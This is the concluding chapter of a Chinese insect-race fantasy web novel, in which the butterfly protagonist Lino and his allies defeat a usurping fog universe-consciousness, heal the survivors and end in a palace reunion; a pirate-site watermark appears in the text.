利诺拍了拍亲妈的手：“不怕，我替你报仇！” 宇宙意识不怕，祂只怕自己仅剩的崽受委屈，找回了崽，祂就揣着崽往自己肚子里塞。 要把崽弄回最安全的地方，什么地方最安全，自然是祂的宇宙里，也就是肚子里。 “等等！”利诺立马飞走，他还没打死对面的假神，当然不能离开。 更何况，他只有留在这里，才有作用。 见利诺没被送回自己的宇宙，雾宇宙那松了一口的气再次提起来。 这只蝴蝶一出现，雾宇宙就发觉自己的力量和权限似乎受到了某种压制。 天杀的蝴蝶，祂就知道，虫族就是祂的克星！ 此时，数千万的虫族也来到了雾宇宙意识的附近，尾钩迫不及待。 被虫族破开一扇又一扇门的记忆浮现，这只吞噬了好几只其他宇宙意识的“神”竟察觉到了恐惧。 祂频繁焦急地呼喊还没来的接引傀和雾种，表面上还在警告。 不过这次的警告是对利诺说的：“你确定不离开？那么等待你的，只有最惨烈的死亡！” 利诺直视祂：“你在害怕！” “笑话！我可是宇宙意识！在这里，我就是至高无上的神！”祂狡辩，“我为什么要害怕。” 利诺微微一笑，自信道：“你怕无法成为真正的宇宙意识，你怕暴露自己只是一个小偷，你还怕……我！” “住口！”随着雾宇宙的破防，一股浓郁的雾气朝利诺闪去。 只是不等雾气近身，宇宙意识挡下，祂的一部分手掌被雾气腐蚀，发出噼里啪啦的声音。 虫族把能够使用的武器发动，炮弹、激光一股脑朝雾宇宙意识的身躯上发动。 雾宇宙意识的身体很不灵活，祂躲得慢了，一小半迷雾肩膀被削掉。 “你们！都该死！”雾宇宙心疼地看着无法恢复的肩膀，正好看到欢乐精灵和雾种，当即欣喜道，“你们来得正好，去，替我杀死那些可恶的蝼蚁！” 然而，令祂意想不到的是，祂自以为忠诚的接引傀和逆来顺受的雾种，却把武器对准了他。 接引傀冷冰冰地说：“你才是可恶的蝼蚁！一个欺负我神纯真就吃掉祂的窃贼！” 雾宇宙来不及惊讶，无数欢乐精灵和雾种的攻击涌上来。 为首的接引傀拿出了一把奇怪的武器，雾气人形惊恐地发现，自己竟然动不了了。 在骑士长雾种的帮助下，为首的接引傀将奇怪的武器成功刺进宇宙意识的脑门正中间：“还有，我是欢乐精灵！不是什么接引傀！” “这是……什么……”雾宇宙意识惊恐地看向脑门插入的东西。 如果说利诺的存在压制住了祂一半的力量，祂仍有可以对抗另一半力量，那么接引傀拿出来的东西，完全将祂的另一半压制。 雾宇宙意识完全无法动弹，只能任由无名的武器越刺越深。 “这个？”接引傀看了下那东西，问，“你忘了吗？当年如同丧家犬一样误入我们的宇宙，你的脖子上带的就是这个。” 接引傀低头：“你当时没了一条腿和一只手，我们的神见它材质特殊，把它掰直，做成拄拐，打算送给你用。” 一枚象征奴隶身份的圆环，在雾宇宙意识原本的宇宙还没有自然消亡时，它就戴着奴隶环，朝其他的生物摇尾乞怜。 后来，祂好运地没有跟着宇宙一起消亡，反而逃到了另外一个宇宙。 那个单纯的宇宙意识为祂取下奴隶环，把祂当朋友，却没想到，没有了奴隶环的朋友一口又一口，把祂吃到了肚子里。 祂消化完蠢笨的宇宙意识，成为了一半的宇宙意识。 “啊！” 那由奴隶环打造的拐杖没入了祂的脑子，祂的力量不断流散，身躯不断缩小，身上的雾气也在不断消散。 利诺和宇宙意识看得一愣一愣的，他仰头，宇宙意识低头，他俩彼此询问：“啊？这就完了？” “不知道。”利诺回宇宙意识。 宇宙意识恍惚地摇摇头，然后把崽放在头顶，夸赞：“崽崽真棒！” 这时，雾宇宙意识痛苦怨恨地嘶吼：“都跟我一起死吧！”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第94章【全文完】 第94章 随着祂最后的拼命，迷雾凭空出现，数不清的迷雾之门在迷雾的遮掩下从其他的宇宙被召唤回来。 迷雾侵蚀吞噬的本能触动，虫族尚可以抵抗侵蚀，但其他生命就不行了，就连本土的雾种都无法承受迷雾的吞噬。 而雾门数都数不清，也不是短时间就可以进入并关闭的。 雾宇宙意识达不到自己的目的，明显是要拉着尽量多的生物跟自己一起死。 半雾状的人形不断溃散缩小，直至缩成巴掌大的雾团，躲在角落里，嗓音尖细：“哈哈哈我死你们也得死！” 祂明显活不了，如今只是苟延残喘，无论是接引傀、雾种，还是宇宙意识和利诺，都懒得管祂，而是把注意力放在迷雾上。 迷雾和雾门是由祂篡夺权柄后创造的非生命武器，只有吞噬和侵略的本能。 如今祂又即将死去，以至于迷雾失去控制，在被祂拉回雾宇宙后开始迅速扩散，看不见边际的雾笼罩整个雾宇宙的天和土。 “咯吱咯吱——” 雾在侵蚀雾土，包括矗立于之上的建筑物、生长在其上还未成熟的雾门，宛若张开巨口，不知满足地吃下去。 暴露在迷雾中不到一分钟，欢乐精灵和雾种的身躯上就被腐蚀出一块又一块的伤口，雾状的血发黑逸散。 一些较弱的精灵和雾种已然被雾“吃”掉大半，痛得从天上落到雾土，失去了全部力气，未被腐蚀的发音器官在凄惨哀鸣。 不止精灵和雾种，迷雾的侵蚀性在回归孕育它的宇宙后大大增强，中高等的虫族只感觉到一些不适，但某些低级虫族发现自己的手臂上也出现了侵蚀的孔洞。 虫族都到了这种地步，那些被宇宙意识同样从身体内赶出来的其他星际种族形式更加严峻。 “傻子！”接引傀无法长时间在天空保持悬空，落下去，就看到下半身身体已经没有了的欢乐精灵一只手支撑地面，另外一只手尽量去护住还未成熟的神。 傻精灵疼到没了知觉，但他谨记老大的叮嘱，保护他们还不容易才回来的神。 执拗的傻精灵拖着流出雾气内脏的身躯，不管流失的大量雾血，努力保护树，免于祂被迷雾侵蚀。 小树在焦急地晃动身体，叶子往下落，似乎是无力的眼泪。 被迷雾侵蚀多年，宇宙意识对迷雾很警惕，在迷雾出现的第一时间就要把头顶的利诺送回自己肚子里，然后带着小崽跑路。 祂只在意自己的崽，对祂来说，只要崽安全就行，至于其他的生物，祂保持冷漠和无视。 宇宙意识并非生命口中慈悲的母神，祂强大，宇宙在祂的体内形成，但祂本质上只是一个懵懂的存在。 除了自己的崽，祂永远无法理解其他的一切，祂不在乎生命的逝去，不关注同类的悲惨。 “等一等，您先别把我拉进去！”利诺躲开了宇宙意识的手。 宇宙意识急迫地解释：“危险，崽赶紧回来！” 作为孕育虫母的摇篮，祂的身体才是最安全的，那些侵入祂体内的迷雾消失，整个宇宙都回归了最开始的宁静。 利诺清楚他这位“母亲”的性格，估计是把他塞回本宇宙后就离开雾宇宙。 但利诺不能这么做，他的虫群、他的子嗣都在这里，迷雾在摧毁他的子嗣。 而且，迷雾必须要彻底解决，不然失控的迷雾在毁灭雾宇宙后，说不定还会来接着毁灭他的宇宙。 利诺不能不承认，那只成为半个宇宙意识的逃亡生命确实创造出了了不得的杀器。 “崽崽！”宇宙意识发觉了不对劲，祂张开巨大的手掌，可灵巧的蝴蝶从祂的指缝飞走。 宇宙意识有些不安。 但变成虫型的小蝴蝶却自信地说：“您放心，我可是最厉害的虫！” “冕下！”在抵抗迷雾中，虫族突然看到了在半空翩飞的蝴蝶。 透明的羽翼以及尾翼上的两处玫瑰红，和虫族的象征标识一模一样。 蝴蝶并不大，但虫族无论何时，都会在第一时间发现他们敬爱的冕下、他们深爱的妈妈。 拥有玫红霞晕的漂亮蝴蝶率先飞过虫族聚集的区域，与迷雾一般具有腐蚀的鳞粉掉落。 但鳞粉的腐蚀已然不再，玫瑰红的碎末染上象征治愈的乳白光点。 所到之处，虫族身躯上的伤口迅速愈合。 飞过虫族，利诺也没忘了其他的星际种族以及合作愉快的欢乐精灵和雾种。 鳞粉有限，在无法继续担任治愈力量的载体后，利诺咬咬牙，把精神力直接具象化一颗一颗的小球，覆盖治愈的力量。 一时间，小虫母的精神力盛过黑压压的迷雾，在黑暗绝望的氛围中，重新凝聚出希望的光芒。 生灵不计其数，可利诺的精神力再磅礴也是有限的。 利诺第一次感觉到了精神力枯竭的滋味，很不好受，仿佛全身的血液都被抽干了，连脑袋里的神经都干涸得叫嚣，传递针尖的疼痛。 好在利诺体验过最致命发痛苦，那是上辈子的最后，清醒绝望地让自己的队友一点一点啃噬自己的身体，配合精神上的绝望与无力…… 这才是最疼的地狱，至于现在，对于利诺只是小菜一碟。 柔和的精神力、强大的治愈能力，让利诺在清醒的最后一瞬间，整个蝴蝶的身躯绽放出耀眼的白光，刺破重叠的迷雾。 随即，他完全脱力，从低空坠落。 一棵大树接住了他。 是因为利诺的精神力而成熟的树，也是这方雾宇宙最正统的意识。 在利诺失神的瞳孔中，树的根系拔出雾土，本来是实体的树瞬间虚化，宇宙意识是没有实体的。 虚化的树重新化成有简单轮廓的人形，是……七彩颜色的！ 利诺觉得自己要死不瞑目了，七彩是什么很时尚的颜色吗？怎么不止虫族大半都是七彩头发，就连眼前的雾宇宙意识整只也是七彩颜色的？ “妈妈！”由利诺种出的雾宇宙意识理应这样称呼利诺，祂七彩颜色的大脸小心翼翼地凑近利诺，“妈妈您怎么样了？” 利诺没有力气抬手挤走这张彩虹大脸，眼眸因绚丽的颜色而分泌出生理性的泪水。 “崽崽！”宇宙意识化成光团飞速跑过来。 紧接着是最强的赫弥珞，他率先占据了利诺的视线。 赫弥珞的眼眶通红，英俊的男人看起来可怜得要命。 利诺气若悬丝，努力转头，看向赫弥珞：“答应我，赫弥珞……” 赫弥珞狼狈点头：“冕下，您说！您说！” “拒、拒绝七彩色！”利诺缓缓闭上眼，“从现在做起！” 利诺安心睡着了。 他当然不会死，只是精神力枯竭而已，睡一觉就好了，当然，如果有雄虫的蜜液吃会恢复得更快。 但除了利诺，其他存在都被利诺给唬住了，利诺刚才那么虚弱，好像在说最后的遗言。 不止赫弥珞，就连抱着利诺的雾宇宙意识和本宇宙意识都陷入了极端的悲痛。 雾宇宙意识从彩色变回浅绿色，祂刚开始看到利诺的种族一多半都是彩虹色的头发，祂还以为妈妈喜欢彩虹色…… 两个宇宙意识发起疯来，不敢想象。 迷雾只是被利诺的精神力驱散了一下，但紧接着又在扩张。 本宇宙意识无法奈何不属于自己宇宙的产物，但雾宇宙意识可以。 祂愤恨地张开嘴，几下把迷雾包括雾门吸进嘴里，咯嘣咯嘣，愤恨地咀嚼。 其他虫族满心只有自家虫母，跌跌撞撞奔过来，就看到闭上眼、脸色苍白的虫母。 “不！冕下！”虫族顿时绝望，竖瞳猩红。 没有虫母之前，虫族可以就这么麻木活着，可如果有了虫母却又失去了虫母，虫族就再也忍受不了还能活着。 所以，和冕下一起死吧！ 虫族一只只如丧考妣，用尾钩对准了自己的头，即将要表演集体爆头时，一道声音制止了他们。 是那只傻精灵。 他恢复了健全的身体，蹦跳着凑到雾宇宙意识的身边，好奇摸了摸利诺的脸颊。 傻精灵认真地说：“小蝴蝶睡着了，大家要安静，不能吵到他！” 瞬间，虫族悲怆的气息全无，睁着通红的眼睛凝视利诺，连呼吸都不再呼吸。 雾宇宙意识立马停下咀嚼，一股脑咽下去。 “不可能！不……”变成小球、已然不再是宇宙意识的前雾宇宙意识刚发了个声。 本宇宙意识捏住了那颗狼狈的球，轻轻一捏，所有话都随着球而化作灰尘，堕入深渊。 全程打酱油的各星际种族甚至都不知道发生了什么，他们一个敌人都没有找到，宇宙意识的命令完全无法执行。 毕竟整个雾宇宙，他们可以当成敌人的物种和欢乐精灵都成了合作伙伴。 他们的视角就是，寻找敌人，找不到所以茫然，突然迷雾侵蚀快死了，白光撒下又不用死了，哎？怎么虫族都跪着我用不用跪？算了跟着虫族一起跪吧！ “这是怎么……”回事？有个人类士兵看到了一只自己认识的虫族。 他是负责运输给虫族地球食物的后勤兵，正巧不远处的虫族是接收食物的士兵。 虫族向来高傲，不屑于与其他种族搭话，他也没和虫族说上话，但如今实在好奇，他厚着脸皮去问。 虫族一记冰冷的眼神顿时让这名后勤兵整个人都不好了。 人类士兵知趣地闭上嘴，不敢再吱声，得了，他还是老老实实跪着吧。 所有的星际种族不知道自己在那天跪了多久，只知道，那天之后，是迷雾彻底散去的开始，是和平和繁荣的开始！ …… 不知道睡了多久，利诺从饥饿中醒了过来，他躺在久违的虫族宫殿里，入目是房顶精致的雕塑。 利诺刚伸了个懒腰，一个白色大团和一个浅绿色的大团冲了过来，分别挨着他的两半。 “呜呜呜崽你终于醒了！”本宇宙意识嗷嗷哭。 “哇哇哇妈妈醒了！”雾宇宙意识也跟着哭。 房间里没有虫族，利诺踩着鞋从床上走下来，一边摸着两个宇宙意识的光球。 打开门，英俊的虫族对着利诺露出温柔的笑：“欢迎冕下回归！” 面前的虫族，除了已经是虫夫的赫弥珞、安瑟姆、希尔维乌斯和洛尔南，还有板上钉钉的拉斐尔和伊戈提安。 利诺勾勾手：“来只虫，我饿了。” 伊戈提安反应最快，恨不能跳起来：“冕下冕下！选我选我！” …… 故事的开头，他是一只饿着上课的灰色毛虫； 故事的结尾，他是成功驱散迷雾的漂亮蝴蝶。 他是虫族唯一的虫母。 他是，一个奇迹。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m